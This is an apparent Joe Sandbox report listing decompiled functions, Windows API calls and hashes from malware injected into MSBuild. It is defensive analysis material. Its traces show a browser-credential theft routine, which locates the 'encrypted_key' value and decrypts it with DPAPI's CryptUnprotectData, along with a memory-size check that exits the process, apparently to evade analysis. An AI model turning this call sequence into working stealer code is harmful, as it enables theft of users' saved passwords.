Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: c8ea4ff05fc360dd0eb8abd62819ebf399865877b8aaa9c3079995bd046e4cc4
Instruction ID: 42b23dca6cf9d61fcd17bb79f48ce0988bb9dd5848c5c15250a36de7d2584b3c
Opcode Fuzzy Hash: c8ea4ff05fc360dd0eb8abd62819ebf399865877b8aaa9c3079995bd046e4cc4
Instruction Fuzzy Hash: 6941B6BAD402087BDB14EBE0DC46FEE777DAB88304F00455DB61A571C1EA795B888B92

Function 00413560 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413588

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

strtok_s.MSVCRT ref: 004136D1

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,013F0578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: d487b5a826abd393daba0d5abacc3e0c3b7c6db77f8dfe7a0cb344ed065f5bd8
Instruction ID: 1d6e97e2126c91d023f3aa3275f065f217875d3b7f18f669bcfd2096c4fc0c60
Opcode Fuzzy Hash: d487b5a826abd393daba0d5abacc3e0c3b7c6db77f8dfe7a0cb344ed065f5bd8
Instruction Fuzzy Hash: C34191B1D00108EFCB04EFE5D945AEEB7B4BF44308F00801EE41676291DB789A56CFAA

Function 004099C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
LocalFree.KERNEL32(004102E7), ref: 00409A90
CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: c7567847eb904f88fd44aac24161c1541a4af156139b53349eb565b119f829a0
Instruction ID: ed52a4b53b9c0591db71eabf51b59360b39b3b260bb7ca760b64e801f0f9a50e
Opcode Fuzzy Hash: c7567847eb904f88fd44aac24161c1541a4af156139b53349eb565b119f829a0
Instruction Fuzzy Hash: 02310778A00209EFDB14CF94C985BAEB7B5FF49350F108169E901A7390D778AD41CFA5

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: f2ded3d157cb35307e0b39d430c96622be3dd75f8d5744ac0086d878f352425a
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: 5901FBB0D84308BAEB10DBE4DC49B9EBB78AB15705F20809EE705B62D0D6785585879D

Function 00409CE0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D39

Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
Part of subcall function 00409AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
Part of subcall function 00409AC0: LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409D92

Part of subcall function 00409B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
Part of subcall function 00409B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
Part of subcall function 00409B60: memcpy.MSVCRT(?,?,?), ref: 00409BC6
Part of subcall function 00409B60: LocalFree.KERNEL32(?), ref: 00409BD3

Strings

, xrefs: 00409DC1
DPAPI, xrefs: 00409D89
"encrypted_key":", xrefs: 00409D30

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
Opcode ID: f17fdcf34bae0448dddec055fd2c15091bee7516281e57f26a3b262e227c4e54
Instruction ID: 5ad523267ed72994677b79ea1d9dce7d7822fbf486e040e59600fa97cf483dfd
Opcode Fuzzy Hash: f17fdcf34bae0448dddec055fd2c15091bee7516281e57f26a3b262e227c4e54
Instruction Fuzzy Hash: D53155B5D10109ABCB04EBE4DC85AEF77B8BF44304F14452AE915B7282E7389E04CBA5

Function 6BCBC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6BCBC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6BCBC969
GetSystemInfo.KERNEL32(?), ref: 6BCBC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6BCBC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6BCBC9E2

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 2bf5dc0aa622b46dae497870cb4be6d3c24b771855ca83bcf73595450f9e3c5b
Instruction ID: 7e633e9c09e1ea1c83391180a8d5930d175180dc75626a1d5e6e0c1bb034baa1
Opcode Fuzzy Hash: 2bf5dc0aa622b46dae497870cb4be6d3c24b771855ca83bcf73595450f9e3c5b
Instruction Fuzzy Hash: 6421F931A512546BFB149B74DC84BAFB3A9FB46700F50051FFA16AB280FB74DE0487A0

Function 00417E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417E37
HeapAlloc.KERNEL32(00000000), ref: 00417E3E
RegOpenKeyExA.KERNEL32(80000002,014011E8,00000000,00020119,?), ref: 00417E5E
RegQueryValueExA.KERNEL32(?,01405A88,00000000,00000000,000000FF,000000FF), ref: 00417E7F
RegCloseKey.ADVAPI32(?), ref: 00417E92

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction ID: f35b37edc560d93cca1bbeb044924e1a71a0ba88b9c12cde0d27c4035fcf8d53
Opcode Fuzzy Hash: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction Fuzzy Hash: 01114CB5A84205FFD710CFD4DD4AFBBBBB9EB09B10F10425AF605A7280D77858018BA6

Function 004012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
RegCloseKey.ADVAPI32(?), ref: 004012FF

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction ID: a780f69aac564b2d92452564e57f3177c1920ebdf93c56c18a8360c70aaf8c3d
Opcode Fuzzy Hash: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction Fuzzy Hash: 000131BDA40208BFDB10DFE0DC49FAEB7BDEB48701F008159FA05A7280D6749A018F51

Function 00410740 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01404D68), ref: 0041079A
StrCmpCA.SHLWAPI(00000000,01404E48), ref: 00410866
StrCmpCA.SHLWAPI(00000000,01404E98), ref: 0041099D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

`_A, xrefs: 00410A40, 00410A54, 00410803, 0041091B, 00410806, 0041091E, 00410A43

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_A
API String ID: 3722407311-2339250863
Opcode ID: fceb48d516bdcefcfaeeddd004ee5f3434a47fe0b6f82b20b13cf897e26d277c
Instruction ID: 94d948ae3f98129d28702617e668470e7ead908e0178ded6cd69974dbc9b1d9a
Opcode Fuzzy Hash: fceb48d516bdcefcfaeeddd004ee5f3434a47fe0b6f82b20b13cf897e26d277c
Instruction Fuzzy Hash: 3991C975A101089FCB28EF65D991BED77B5FF94304F40852EE8099F281DB349B46CB86

Function 00410765 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01404D68), ref: 0041079A
StrCmpCA.SHLWAPI(00000000,01404E48), ref: 00410866
StrCmpCA.SHLWAPI(00000000,01404E98), ref: 0041099D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

`_A, xrefs: 00410803, 0041091B, 00410806, 0041091E

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_A
API String ID: 3722407311-2339250863
Opcode ID: 0851397616f20a2453b74b4a7786de3427b85f0f8ea178e1316f793f6c6bd983
Instruction ID: eaeb4c1bfeb24d12610814888c89f1e8d39eb2be5be33b2b9933dc38047eb686
Opcode Fuzzy Hash: 0851397616f20a2453b74b4a7786de3427b85f0f8ea178e1316f793f6c6bd983
Instruction Fuzzy Hash: 6081BA75B101049FCB18EF65C991AEDB7B6FF94304F50852EE8099F281DB349B46CB86

Function 0040A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(01404F68,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,00410153), ref: 0040A0BD
LoadLibraryA.KERNEL32(01405688,?,?,?,?,?,?,?,?,?,?,?,00410153), ref: 0040A146

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,013F0578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

